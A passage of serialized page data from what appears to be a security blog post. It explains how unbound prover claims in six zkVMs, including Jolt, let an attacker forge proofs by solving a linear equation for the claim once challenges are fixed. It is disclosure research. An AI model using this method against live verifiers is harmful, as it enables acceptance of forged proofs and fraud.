ue":110163},{"type":22,"tag":264,"props":115799,"children":115801},{"className":115800},[2147],[115802],{"type":22,"tag":264,"props":115803,"children":115805},{"className":115804},[305,306],[115806,115835],{"type":22,"tag":264,"props":115807,"children":115809},{"className":115808},[311],[115810,115830],{"type":22,"tag":264,"props":115811,"children":115813},{"className":115812,"style":115028},[316],[115814],{"type":22,"tag":264,"props":115815,"children":115816},{"style":22959},[115817,115821],{"type":22,"tag":264,"props":115818,"children":115820},{"className":115819,"style":2169},[326],[],{"type":22,"tag":264,"props":115822,"children":115824},{"className":115823},[332,333,334,335],[115825],{"type":22,"tag":264,"props":115826,"children":115828},{"className":115827,"style":95797},[289,2178,335],[115829],{"type":27,"value":90009},{"type":22,"tag":264,"props":115831,"children":115833},{"className":115832},[396],[115834],{"type":27,"value":399},{"type":22,"tag":264,"props":115836,"children":115838},{"className":115837},[311],[115839],{"type":22,"tag":264,"props":115840,"children":115843},{"className":115841,"style":115842},[316],"height:0.2997em;",[115844],{"type":22,"tag":264,"props":115845,"children":115846},{},[],{"type":22,"tag":264,"props":115848,"children":115850},{"className":115849,"style":5427},[420],[],{"type":22,"tag":264,"props":115852,"children":115854},{"className":115853},[289],[115855,115859,116012],{"type":22,"tag":264,"props":115856,"children":115858},{"className":115857},[294,295],[],{"type":22,"tag":264,"props":115860,"children":115862},{"className":115861},[300],[115863],{"type":22,"tag":264,"props":115864,"children":115866},{"className":115865},[305,306],[115867,116000],{"type":22,"tag":264,"props":115868,"children":115870},{"className":115869},[311],[115871,115995],{"type":22,"tag":264,"props":115872,"children":115874},{"className":115873,"style":114897},[316],[115875,115964,115975],{"type":22,"tag":264,"props":115876,"children":115877},{"style":321},[115878,115882],{"type":22,"tag":264,"props":115879,"children":115881},{"className":115880,"style":327},[326],[],{"type":22,"tag":264,"props":115883,"children":115885},{"className":115884},[332,333,334,335],[115886],{"type":22,"tag":264,"props":115887,"children":115889},{"className":115888},[289,335],[115890,115895,115900],{"type":22,"tag":264,"props":115891,"children":115893},{"className":115892,"style":114917},[289,2178,335],[115894],{"type":27,"value":114920},{"type":22,"tag":264,"props":115896,"children":115898},{"className":115897},[670,335],[115899],{"type":27,"value":5372},{"type":22,"tag":264,"props":115901,"children":115903},{"className":115902},[289,335],[115904,115914],{"type":22,"tag":264,"props":115905,"children":115907},{"className":115906},[289,27,335],[115908],{"type":22,"tag":264,"props":115909,"children":115911},{"className":115910},[289,335],[115912],{"type":27,"value":115913},"consume",{"type":22,"tag":264,"props":115915,"children":115917},{"className":115916},[2147],[115918],{"type":22,"tag":264,"props":115919,"children":115921},{"className":115920},[305,306],[115922,115952],{"type":22,"tag":264,"props":115923,"children":115925},{"className":115924},[311],[115926,115947],{"type":22,"tag":264,"props":115927,"children":115929},{"className":115928,"style":113695},[316],[115930],{"type":22,"tag":264,"props":115931,"children":115933},{"style":115932},"top:-2.3488em;margin-right:0.0714em;",[115934,115938],{"type":22,"tag":264,"props":115935,"children":115937},{"className":115936,"style":110228},[326],[],{"type":22,"tag":264,"props":115939,"children":115941},{"className":115940},[332,110233,110234,335],[115942],{"type":22,"tag":264,"props":115943,"children":115945},{"className":115944,"style":95797},[289,2178,335],[115946],{"type":27,"value":90009},{"type":22,"tag":264,"props":115948,"children":115950},{"className":115949},[396],[115951],{"type":27,"value":399},{"type":22,"tag":264,"props":115953,"children":115955},{"className":115954},[311],[115956],{"type":22,"tag":264,"props":115957,"children":115960},{"className":115958,"style":115959},[316],"height:0.1512em;",[115961],{"type":22,"tag":264,"props":115962,"children":115963},{},[],{"type":22,"tag":264,"props":115965,"children":115966},{"style":349},[115967,115971],{"type":22,"tag":264,"props":115968,"children":115970},{"className":115969,"style":327},[326],[],{"type":22,"tag":264,"props":115972,"children":115974},{"className":115973,"style":359},[358],[],{"type":22,"tag":264,"props":115976,"children":115977},{"style":363},[115978,115982],{"type":22,"tag":264,"props":115979,"children":115981},{"className":115980,"style":327},[326],[],{"type":22,"tag":264,"props":115983,"children":115985},{"className":115984},[332,333,334,335],[115986],{"type":22,"tag":264,"props":115987,"children":115989},{"className":115988},[289,335],[115990],{"type":22,"tag":264,"props":115991,"children":115993},{"className":115992},[289,335],[115994],{"type":27,"value":602},{"type":22,"tag":264,"props":115996,"children":115998},{"className":115997},[396],[115999],{"type":27,"value":399},{"type":22,"tag":264,"props":116001,"children":116003},{"className":116002},[311],[116004],{"type":22,"tag":264,"props":116005,"children":116008},{"className":116006,"style":116007},[316],"height:0.4509em;",[116009],{"type":22,"tag":264,"props":116010,"children":116011},{},[],{"type":22,"tag":264,"props":116013,"children":116015},{"className":116014},[415,295],[],{"type":22,"tag":23,"props":116017,"children":116018},{},[116019,116021,116203],{"type":27,"value":116020},"The global check: ",{"type":22,"tag":257,"props":116022,"children":116024},{"className":116023},[260,261],[116025],{"type":22,"tag":264,"props":116026,"children":116028},{"className":116027},[267],[116029],{"type":22,"tag":264,"props":116030,"children":116032},{"className":116031,"ariaHidden":273},[272],[116033,116190],{"type":22,"tag":264,"props":116034,"children":116036},{"className":116035},[278],[116037,116041,116098,116102,116111,116116,116177,116181,116186],{"type":22,"tag":264,"props":116038,"children":116040},{"className":116039,"style":94312},[283],[],{"type":22,"tag":264,"props":116042,"children":116044},{"className":116043},[22929],[116045,116050],{"type":22,"tag":264,"props":116046,"children":116048},{"className":116047,"style":22936},[22929,22934,22935],[116049],{"type":27,"value":110163},{"type":22,"tag":264,"props":116051,"children":116053},{"className":116052},[2147],[116054],{"type":22,"tag":264,"props":116055,"children":116057},{"className":116056},[305,306],[116058,116087],{"type":22,"tag":264,"props":116059,"children":116061},{"className":116060},[311],[116062,116082],{"type":22,"tag":264,"props":116063,"children":116065},{"className":116064,"style":115562},[316],[116066],{"type":22,"tag":264,"props":116067,"children":116068},{"style":22959},[116069,116073],{"type":22,"tag":264,"props":116070,"children":116072},{"className":116071,"style":2169},[326],[],{"type":22,"tag":264,"props":116074,"children":116076},{"className":116075},[332,333,334,335],[116077],{"type":22,"tag":264,"props":116078,"children":116080},{"className":116079},[289,2178,335],[116081],{"type":27,"value":5050},{"type":22,"tag":264,"props":116083,"children":116085},{"className":116084},[396],[116086],{"type":27,"value":399},{"type":22,"tag":264,"props":116088,"children":116090},{"className":116089},[311],[116091],{"type":22,"tag":264,"props":116092,"children":116094},{"className":116093,"style":115842},[316],[116095],{"type":22,"tag":264,"props":116096,"children":116097},{},[],{"type":22,"tag":264,"props":116099,"children":116101},{"className":116100,"style":5427},[420],[],{"type":22,"tag":264,"props":116103,"children":116105},{"className":116104},[289,27],[116106],{"type":22,"tag":264,"props":116107,"children":116109},{"className":116108},[289],[116110],{"type":27,"value":115449},{"type":22,"tag":264,"props":116112,"children":116114},{"className":116113,"style":94370},[289],[116115],{"type":27,"value":4385},{"type":22,"tag":264,"props":116117,"children":116119},{"className":116118},[289],[116120,116129],{"type":22,"tag":264,"props":116121,"children":116123},{"className":116122},[289,27],[116124],{"type":22,"tag":264,"props":116125,"children":116127},{"className":116126},[289],[116128],{"type":27,"value":77958},{"type":22,"tag":264,"props":116130,"children":116132},{"className":116131},[2147],[116133],{"type":22,"tag":264,"props":116134,"children":116136},{"className":116135},[305,306],[116137,116166],{"type":22,"tag":264,"props":116138,"children":116140},{"className":116139},[311],[116141,116161],{"type":22,"tag":264,"props":116142,"children":116144},{"className":116143,"style":94898},[316],[116145],{"type":22,"tag":264,"props":116146,"children":116147},{"style":2694},[116148,116152],{"type":22,"tag":264,"props":116149,"children":116151},{"className":116150,"style":2169},[326],[],{"type":22,"tag":264,"props":116153,"children":116155},{"className":116154},[332,333,334,335],[116156],{"type":22,"tag":264,"props":116157,"children":116159},{"className":116158},[289,2178,335],[116160],{"type":27,"value":5050},{"type":22,"tag":264,"props":116162,"children":116164},{"className":116163},[396],[116165],{"type":27,"value":399},{"type":22,"tag":264,"props":116167,"children":116169},{"className":116168},[311],[116170],{"type":22,"tag":264,"props":116171,"children":116173},{"className":116172,"style":2721},[316],[116174],{"type":22,"tag":264,"props":116175,"children":116176},{},[],{"type":22,"tag":264,"props":116178,"children":116180},{"className":116179,"style":421},[420],[],{"type":22,"tag":264,"props":116182,"children":116184},{"className":116183},[426],[116185],{"type":27,"value":429},{"type":22,"tag":264,"props":116187,"children":116189},{"className":116188,"style":421},[420],[],{"type":22,"tag":264,"props":116191,"children":116193},{"className":116192},[278],[116194,116198],{"type":22,"tag":264,"props":116195,"children":116197},{"className":116196,"style":850},[283],[],{"type":22,"tag":264,"props":116199,"children":116201},{"className":116200},[289],[116202],{"type":27,"value":5334},{"type":27,"value":210},{"type":22,"tag":23,"props":116205,"children":116206},{},[116207,116212,116214,116220],{"type":22,"tag":242,"props":116208,"children":116209},{},[116210],{"type":27,"value":116211},"Why this is vulnerable:",{"type":27,"value":116213}," The ",{"type":22,"tag":257,"props":116215,"children":116217},{"className":116216},[],[116218],{"type":27,"value":116219},"claimed_sum",{"type":27,"value":116221}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":22,"tag":20097,"props":116223,"children":116224},{},[],{"type":22,"tag":169,"props":116226,"children":116228},{"id":116227},"the-universal-attack-pattern",[116229],{"type":27,"value":116230},"The Universal Attack Pattern",{"type":22,"tag":23,"props":116232,"children":116233},{},[116234],{"type":27,"value":116235},"Now we can describe the attack pattern that works on all six systems:",{"type":22,"tag":23,"props":116237,"children":116238},{},[116239],{"type":22,"tag":215,"props":116240,"children":116243},{"alt":116241,"src":116242},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":22,"tag":23,"props":116245,"children":116246},{},[116247,116249,116274],{"type":27,"value":116248},"When a value ",{"type":22,"tag":257,"props":116250,"children":116252},{"className":116251},[260,261],[116253],{"type":22,"tag":264,"props":116254,"children":116256},{"className":116255},[267],[116257],{"type":22,"tag":264,"props":116258,"children":116260},{"className":116259,"ariaHidden":273},[272],[116261],{"type":22,"tag":264,"props":116262,"children":116264},{"className":116263},[278],[116265,116269],{"type":22,"tag":264,"props":116266,"children":116268},{"className":116267,"style":441},[283],[],{"type":22,"tag":264,"props":116270,"children":116272},{"className":116271,"style":109566},[289,2178],[116273],{"type":27,"value":109890},{"type":27,"value":116275}," isn't transcript-bound:",{"type":22,"tag":1867,"props":116277,"children":116278},{},[116279,116310,116387,116530],{"type":22,"tag":1871,"props":116280,"children":116281},{},[116282,116284,116309],{"type":27,"value":116283},"Challenges are fixed (independent of ",{"type":22,"tag":257,"props":116285,"children":116287},{"className":116286},[260,261],[116288],{"type":22,"tag":264,"props":116289,"children":116291},{"className":116290},[267],[116292],{"type":22,"tag":264,"props":116293,"children":116295},{"className":116294,"ariaHidden":273},[272],[116296],{"type":22,"tag":264,"props":116297,"children":116299},{"className":116298},[278],[116300,116304],{"type":22,"tag":264,"props":116301,"children":116303},{"className":116302,"style":441},[283],[],{"type":22,"tag":264,"props":116305,"children":116307},{"className":116306,"style":109566},[289,2178],[116308],{"type":27,"value":109890},{"type":27,"value":2806},{"type":22,"tag":1871,"props":116311,"children":116312},{},[116313,116315],{"type":27,"value":116314},"The verification equation has form: ",{"type":22,"tag":257,"props":116316,"children":116318},{"className":116317},[260,261],[116319],{"type":22,"tag":264,"props":116320,"children":116322},{"className":116321},[267],[116323],{"type":22,"tag":264,"props":116324,"children":116326},{"className":116325,"ariaHidden":273},[272],[116327,116368],{"type":22,"tag":264,"props":116328,"children":116330},{"className":116329},[278],[116331,116335,116340,116345,116350,116355,116359,116364],{"type":22,"tag":264,"props":116332,"children":116334},{"className":116333,"style":5409},[283],[],{"type":22,"tag":264,"props":116336,"children":116338},{"className":116337,"style":96722},[289,2178],[116339],{"type":27,"value":34401},{"type":22,"tag":264,"props":116341,"children":116343},{"className":116342},[294],[116344],{"type":27,"value":2660},{"type":22,"tag":264,"props":116346,"children":116348},{"className":116347,"style":109566},[289,2178],[116349],{"type":27,"value":109890},{"type":22,"tag":264,"props":116351,"children":116353},{"className":116352},[415],[116354],{"type":27,"value":2806},{"type":22,"tag":264,"props":116356,"children":116358},{"className":116357,"style":421},[420],[],{"type":22,"tag":264,"props":116360,"children":116362},{"className":116361},[426],[116363],{"type":27,"value":429},{"type":22,"tag":264,"props":116365,"children":116367},{"className":116366,"style":421},[420],[],{"type":22,"tag":264,"props":116369,"children":116371},{"className":116370},[278],[116372,116377],{"type":22,"tag":264,"props":116373,"children":116376},{"className":116374,"style":116375},[283],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":22,"tag":264,"props":116378,"children":116380},{"className":116379},[289,27],[116381],{"type":22,"tag":264,"props":116382,"children":116384},{"className":116383},[289],[116385],{"type":27,"value":116386},"target",{"type":22,"tag":1871,"props":116388,"children":116389},{},[116390,116391,116416,116418],{"type":27,"value":8773},{"type":22,"tag":257,"props":116392,"children":116394},{"className":116393},[260,261],[116395],{"type":22,"tag":264,"props":116396,"children":116398},{"className":116397},[267],[116399],{"type":22,"tag":264,"props":116400,"children":116402},{"className":116401,"ariaHidden":273},[272],[116403],{"type":22,"tag":264,"props":116404,"children":116406},{"className":116405},[278],[116407,116411],{"type":22,"tag":264,"props":116408,"children":116410},{"className":116409,"style":2028},[283],[],{"type":22,"tag":264,"props":116412,"children":116414},{"className":116413,"style":96722},[289,2178],[116415],{"type":27,"value":34401},{"type":27,"value":116417}," is linear: ",{"type":22,"tag":257,"props":116419,"children":116421},{"className":116420},[260,261],[116422],{"type":22,"tag":264,"props":116423,"children":116425},{"className":116424},[267],[116426],{"type":22,"tag":264,"props":116427,"children":116429},{"className":116428,"ariaHidden":273},[272],[116430,116459,116485,116513],{"type":22,"tag":264,"props":116431,"children":116433},{"className":116432},[278],[116434,116439,116446,116450,116455],{"type":22,"tag":264,"props":116435,"children":116438},{"className":116436,"style":116437},[283],"height:0.4445em;",[],{"type":22,"tag":264,"props":116440,"children":116443},{"className":116441,"style":116442},[289,2178],"margin-right:0.0037em;",[116444],{"type":27,"value":116445},"α",{"type":22,"tag":264,"props":116447,"children":116449},{"className":116448,"style":665},[420],[],{"type":22,"tag":264,"props":116451,"children":116453},{"className":116452},[670],[116454],{"type":27,"value":112629},{"type":22,"tag":264,"props":116456,"children":116458},{"className":116457,"style":665},[420],[],{"type":22,"tag":264,"props":116460,"children":116462},{"className":116461},[278],[116463,116467,116472,116476,116481],{"type":22,"tag":264,"props":116464,"children":116466},{"className":116465,"style":646},[283],[],{"type":22,"tag":264,"props":116468,"children":116470},{"className":116469,"style":109566},[289,2178],[116471],{"type":27,"value":109890},{"type":22,"tag":264,"props":116473,"children":116475},{"className":116474,"style":665},[420],[],{"type":22,"tag":264,"props":116477,"children":116479},{"className":116478},[670],[116480],{"type":27,"value":673},{"type":22,"tag":264,"props":116482,"children":116484},{"className":116483,"style":665},[420],[],{"type":22,"tag":264,"props":116486,"children":116488},{"className":116487},[278],[116489,116493,116500,116504,116509],{"type":22,"tag":264,"props":116490,"children":116492},{"className":116491,"style":2028},[283],[],{"type":22,"tag":264,"props":116494,"children":116497},{"className":116495,"style":116496},[289,2178],"margin-right:0.05278em;",[116498],{"type":27,"value":116499},"β",{"type":22,"tag":264,"props":116501,"children":116503},{"className":116502,"style":421},[420],[],{"type":22,"tag":264,"props":116505,"children":116507},{"className":116506},[426],[116508],{"type":27,"value":429},{"type":22,"tag":264,"props":116510,"children":116512},{"className":116511,"style":421},[420],[],{"type":22,"tag":264,"props":116514,"children":116516},{"className":116515},[278],[116517,116521],{"type":22,"tag":264,"props":116518,"children":116520},{"className":116519,"style":116375},[283],[],{"type":22,"tag":264,"props":116522,"children":116524},{"className":116523},[289,27],[116525],{"type":22,"tag":264,"props":116526,"children":116528},{"className":116527},[289],[116529],{"type":27,"value":116386},{"type":22,"tag":1871,"props":116531,"children":116532},{},[116533,116535],{"type":27,"value":116534},"Solve: ",{"type":22,"tag":257,"props":116536,"children":116538},{"className":116537},[260,261],[116539],{"type":22,"tag":264,"props":116540,"children":116542},{"className":116541},[267],[116543],{"type":22,"tag":264,"props":116544,"children":116546},{"className":116545,"ariaHidden":273},[272],[116547,116573,116608],{"type":22,"tag":264,"props":116548,"children":116550},{"className":116549},[278],[116551,116555,116560,116564,116569],{"type":22,"tag":264,"props":116552,"children":116554},{"className":116553,"style":441},[283],[],{"type":22,"tag":264,"props":116556,"children":116558},{"className":116557,"style":109566},[289,2178],[116559],{"type":27,"value":109890},{"type":22,"tag":264,"props":116561,"children":116563},{"className":116562,"style":421},[420],[],{"type":22,"tag":264,"props":116565,"children":116567},{"className":116566},[426],[116568],{"type":27,"value":429},{"type":22,"tag":264,"props":116570,"children":116572},{"className":116571,"style":421},[420],[],{"type":22,"tag":264,"props":116574,"children":116576},{"className":116575},[278],[116577,116581,116586,116595,116599,116604],{"type":22,"tag":264,"props":116578,"children":116580},{"className":116579,"style":5409},[283],[],{"type":22,"tag":264,"props":116582,"children":116584},{"className":116583},[294],[116585],{"type":27,"value":2660},{"type":22,"tag":264,"props":116587,"children":116589},{"className":116588},[289,27],[116590],{"type":22,"tag":264,"props":116591,"children":116593},{"className":116592},[289],[116594],{"type":27,"value":116386},{"type":22,"tag":264,"props":116596,"children":116598},{"className":116597,"style":665},[420],[],{"type":22,"tag":264,"props":116600,"children":116602},{"className":116601},[670],[116603],{"type":27,"value":5372},{"type":22,"tag":264,"props":116605,"children":116607},{"className":116606,"style":665},[420],[],{"type":22,"tag":264,"props":116609,"children":116611},{"className":116610},[278],[116612,116616,116621,116626,116631],{"type":22,"tag":264,"props":116613,"children":116615},{"className":116614,"style":5409},[283],[],{"type":22,"tag":264,"props":116617,"children":116619},{"className":116618,"style":116496},[289,2178],[116620],{"type":27,"value":116499},{"type":22,"tag":264,"props":116622,"children":116624},{"className":116623},[415],[116625],{"type":27,"value":2806},{"type":22,"tag":264,"props":116627,"children":116629},{"className":116628},[289],[116630],{"type":27,"value":2891},{"type":22,"tag":264,"props":116632,"children":116634},{"className":116633,"style":116442},[289,2178],[116635],{"type":27,"value":116445},{"type":22,"tag":23,"props":116637,"children":116638},{},[116639],{"type":27,"value":116640},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":22,"tag":23,"props":116642,"children":116643},{},[116644,116646,116724],{"type":27,"value":116645},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":22,"tag":257,"props":116647,"children":116649},{"className":116648},[260,261],[116650],{"type":22,"tag":264,"props":116651,"children":116653},{"className":116652},[267],[116654],{"type":22,"tag":264,"props":116655,"children":116657},{"className":116656,"ariaHidden":273},[272],[116658],{"type":22,"tag":264,"props":116659,"children":116661},{"className":116660},[278],[116662,116667,116673,116678,116719],{"type":22,"tag":264,"props":116663,"children":116666},{"className":116664,"style":116665},[283],"height:1.0641em;vertical-align:-0.25em;",[],{"type":22,"tag":264,"props":116668,"children":116670},{"className":116669,"style":94370},[289,2178],[116671],{"type":27,"value":116672},"O",{"type":22,"tag":264,"props":116674,"children":116676},{"className":116675},[294],[116677],{"type":27,"value":2660},{"type":22,"tag":264,"props":116679,"children":116681},{"className":116680},[289],[116682,116687],{"type":22,"tag":264,"props":116683,"children":116685},{"className":116684},[289,2178],[116686],{"type":27,"value":57724},{"type":22,"tag":264,"props":116688,"children":116690},{"className":116689},[2147],[116691],{"type":22,"tag":264,"props":116692,"children":116694},{"className":116693},[305],[116695],{"type":22,"tag":264,"props":116696,"children":116698},{"className":116697},[311],[116699],{"type":22,"tag":264,"props":116700,"children":116702},{"className":116701,"style":5318},[316],[116703],{"type":22,"tag":264,"props":116704,"children":116705},{"style":5353},[116706,116710],{"type":22,"tag":264,"props":116707,"children":116709},{"className":116708,"style":2169},[326],[],{"type":22,"tag":264,"props":116711,"children":116713},{"className":116712},[332,333,334,335],[116714],{"type":22,"tag":264,"props":116715,"children":116717},{"className":116716},[289,335],[116718],{"type":27,"value":18598},{"type":22,"tag":264,"props":116720,"children":116722},{"className":116721},[415],[116723],{"type":27,"value":2806},{"type":27,"value":116725}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":22,"tag":20097,"props":116727,"children":116728},{},[],{"type":22,"tag":169,"props":116730,"children":116732},{"id":116731},"the-six-broken-systems",[116733],{"type":27,"value":116734},"The Six Broken Systems",{"type":22,"tag":23,"props":116736,"children":116737},{},[116738],{"type":22,"tag":215,"props":116739,"children":116742},{"alt":116740,"src":116741},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":22,"tag":23,"props":116744,"children":116745},{},[116746],{"type":27,"value":116747},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":22,"tag":20097,"props":116749,"children":116750},{},[],{"type":22,"tag":181,"props":116752,"children":116754},{"id":116753},"jolt-a16z",[116755],{"type":27,"value":116756},"Jolt (a16z)",{"type":22,"tag":23,"props":116758,"children":116759},{},[116760],{"type":27,"value":116761},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":22,"tag":23,"props":116763,"children":116764},{},[116765],{"type":22,"tag":242,"props":116766,"children":116767},{},[116768],{"type":27,"value":116769},"The proof structure:",{"type":22,"tag":618,"props":116771,"children":116773},{"code":116772},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[116774],{"type":22,"tag":257,"props":116775,"children":116776},{"__ignoreMap":7},[116777],{"type":27,"value":116772},{"type":22,"tag":23,"props":116779,"children":116780},{},[116781],{"type":22,"tag":242,"props":116782,"children":116783},{},[116784],{"type":27,"value":116785},"The verification flow:",{"type":22,"tag":23,"props":116787,"children":116788},{},[116789],{"type":22,"tag":215,"props":116790,"children":116793},{"alt":116791,"src":116792},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":22,"tag":23,"props":116795,"children":116796},{},[116797,116802,116804,116810,116812,116818,116820,116825],{"type":22,"tag":242,"props":116798,"children":116799},{},[116800],{"type":27,"value":116801},"The bug:",{"type":27,"value":116803}," Each sumcheck instance provides an ",{"type":22,"tag":257,"props":116805,"children":116807},{"className":116806},[],[116808],{"type":27,"value":116809},"input_claim",{"type":27,"value":116811},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":22,"tag":257,"props":116813,"children":116815},{"className":116814},[],[116816],{"type":27,"value":116817},"opening_claims",{"type":27,"value":116819}," in the proof, but they were ",{"type":22,"tag":242,"props":116821,"children":116822},{},[116823],{"type":27,"value":116824},"never absorbed into the transcript",{"type":27,"value":116826}," before the batching coefficients were derived.",{"type":22,"tag":23,"props":116828,"children":116829},{},[116830],{"type":22,"tag":215,"props":116831,"children":116834},{"alt":116832,"src":116833},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":22,"tag":23,"props":116836,"children":116837},{},[116838],{"type":22,"tag":242,"props":116839,"children":116840},{},[116841],{"type":27,"value":116842},"How sumcheck uses opening_claims:",{"type":22,"tag":23,"props":116844,"children":116845},{},[116846,116848,116854,116856,116933],{"type":27,"value":116847},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":22,"tag":257,"props":116849,"children":116851},{"className":116850},[],[116852],{"type":27,"value":116853},"BatchedClaim",{"type":27,"value":116855}," by taking a random linear combination of the individual claims ",{"type":22,"tag":257,"props":116857,"children":116859},{"className":116858},[260,261],[116860],{"type":22,"tag":264,"props":116861,"children":116863},{"className":116862},[267],[116864],{"type":22,"tag":264,"props":116865,"children":116867},{"className":116866,"ariaHidden":273},[272],[116868],{"type":22,"tag":264,"props":116869,"children":116871},{"className":116870},[278],[116872,116876],{"type":22,"tag":264,"props":116873,"children":116875},{"className":116874,"style":112364},[283],[],{"type":22,"tag":264,"props":116877,"children":116879},{"className":116878},[289],[116880,116885],{"type":22,"tag":264,"props":116881,"children":116883},{"className":116882,"style":94603},[289,2178],[116884],{"type":27,"value":94606},{"type":22,"tag":264,"props":116886,"children":116888},{"className":116887},[2147],[116889],{"type":22,"tag":264,"props":116890,"children":116892},{"className":116891},[305,306],[116893,116922],{"type":22,"tag":264,"props":116894,"children":116896},{"className":116895},[311],[116897,116917],{"type":22,"tag":264,"props":116898,"children":116900},{"className":116899,"style":94898},[316],[116901],{"type":22,"tag":264,"props":116902,"children":116903},{"style":111796},[116904,116908],{"type":22,"tag":264,"props":116905,"children":116907},{"className":116906,"style":2169},[326],[],{"type":22,"tag":264,"props":116909,"children":116911},{"className":116910},[332,333,334,335],[116912],{"type":22,"tag":264,"props":116913,"children":116915},{"className":116914},[289,2178,335],[116916],{"type":27,"value":5050},{"type":22,"tag":264,"props":116918,"children":116920},{"className":116919},[396],[116921],{"type":27,"value":399},{"type":22,"tag":264,"props":116923,"children":116925},{"className":116924},[311],[116926],{"type":22,"tag":264,"props":116927,"children":116929},{"className":116928,"style":2721},[316],[116930],{"type":22,"tag":264,"props":116931,"children":116932},{},[],{"type":27,"value":5785},{"type":22,"tag":23,"props":116935,"children":116936},{},[116937],{"type":22,"tag":257,"props":116938,"children":116940},{"className":116939},[260,261],[116941],{"type":22,"tag":264,"props":116942,"children":116944},{"className":116943},[267],[116945],{"type":22,"tag":264,"props":116946,"children":116948},{"className":116947,"ariaHidden":273},[272],[116949,116979,117120],{"type":22,"tag":264,"props":116950,"children":116952},{"className":116951},[278],[116953,116957,116966,116970,116975],{"type":22,"tag":264,"props":116954,"children":116956},{"className":116955,"style":94285},[283],[],{"type":22,"tag":264,"props":116958,"children":116960},{"className":116959},[289,27],[116961],{"type":22,"tag":264,"props":116962,"children":116964},{"className":116963},[289],[116965],{"type":27,"value":116853},{"type":22,"tag":264,"props":116967,"children":116969},{"className":116968,"style":421},[420],[],{"type":22,"tag":264,"props":116971,"children":116973},{"className":116972},[426],[116974],{"type":27,"value":429},{"type":22,"tag":264,"props":116976,"children":116978},{"className":116977,"style":421},[420],[],{"type":22,"tag":264,"props":116980,"children":116982},{"className":116981},[278],[116983,116988,117045,117049,117107,117111,117116],{"type":22,"tag":264,"props":116984,"children":116987},{"className":116985,"style":116986},[283],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":22,"tag":264,"props":116989,"children":116991},{"className":116990},[22929],[116992,116997],{"type":22,"tag":264,"props":116993,"children":116995},{"className":116994,"style":22936},[22929,22934,22935],[116996],{"type":27,"value":110163},{"type":22,"tag":264,"props":116998,"children":117000},{"className":116999},[2147],[117001],{"type":22,"tag":264,"props":117002,"children":117004},{"className":117003},[305,306],[117005,117034],{"type":22,"tag":264,"props":117006,"children":117008},{"className":117007},[311],[117009,117029],{"type":22,"tag":264,"props":117010,"children":117012},{"className":117011,"style":115562},[316],[117013],{"type":22,"tag":264,"props":117014,"children":117015},{"style":22959},[117016,117020],{"type":22,"tag":264,"props":117017,"children":117019},{"className":117018,"style":2169},[326],[],{"type":22,"tag":264,"props":117021,"children":117023},{"className":117022},[332,333,334,335],[117024],{"type":22,"tag":264,"props":117025,"children":117027},{"className":117026},[289,2178,335],[117028],{"type":27,"value":5050},{"type":22,"tag":264,"props":117030,"children":117032},{"className":117031},[396],[117033],{"type":27,"value":399},{"type":22,"tag":264,"props":117035,"children":117037},{"className":117036},[311],[117038],{"type":22,"tag":264,"props":117039,"children":117041},{"className":117040,"style":115842},[316],[117042],{"type":22,"tag":264,"props":117043,"children":117044},{},[],{"type":22,"tag":264,"props":117046,"children":117048},{"className":117047,"style":5427},[420],[],{"type":22,"tag":264,"props":117050,"children":117052},{"className":117051},[289],[117053,117058],{"type":22,"tag":264,"props":117054,"children":117056},{"className":117055,"style":116442},[289,2178],[117057],{"type":27,"value":116445},{"type":22,"tag":264,"props":117059,"children":117061},{"className":117060},[2147],[117062],{"type":22,"tag":264,"props":117063,"children":117065},{"className":117064},[305,306],[117066,117096],{"type":22,"tag":264,"props":117067,"children":117069},{"className":117068},[311],[117070,117091],{"type":22,"tag":264,"props":117071,"children":117073},{"className":117072,"style":94898},[316],[117074],{"type":22,"tag":264,"props":117075,"children":117077},{"style":117076},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[117078,117082],{"type":22,"tag":264,"props":117079,"children":117081},{"className":117080,"style":2169},[326],[],{"type":22,"tag":264,"props":117083,"children":117085},{"className":117084},[332,333,334,335],[117086],{"type":22,"tag":264,"props":117087,"children":117089},{"className":117088},[289,2178,335],[117090],{"type":27,"value":5050},{"type":22,"tag":264,"props":117092,"children":117094},{"className":117093},[396],[117095],{"type":27,"value":399},{"type":22,"tag":264,"props":117097,"children":117099},{"className":117098},[311],[117100],{"type":22,"tag":264,"props":117101,"children":117103},{"className":117102,"style":2721},[316],[117104],{"type":22,"tag":264,"props":117105,"children":117106},{},[],{"type":22,"tag":264,"props":117108,"children":117110},{"className":117109,"style":665},[420],[],{"type":22,"tag":264,"props":117112,"children":117114},{"className":117113},[670],[117115],{"type":27,"value":112629},{"type":22,"tag":264,"props":117117,"children":117119},{"className":117118,"style":665},[420],[],{"type":22,"tag":264,"props":117121,"children":117123},{"className":117122},[278],[117124,117128],{"type":22,"tag":264,"props":117125,"children":117127},{"className":117126,"style":112364},[283],[],{"type":22,"tag":264,"props":117129,"children":117131},{"className":117130},[289],[117132,117137],{"type":22,"tag":264,"props":117133,"children":117135},{"className":117134,"style":94603},[289,2178],[117136],{"type":27,"value":94606},{"type":22,"tag":264,"props":117138,"children":117140},{"className":117139},[2147],[117141],{"type":22,"tag":264,"props":117142,"children":117144},{"className":117143},[305,306],[117145,117174],{"type":22,"tag":264,"props":117146,"children":117148},{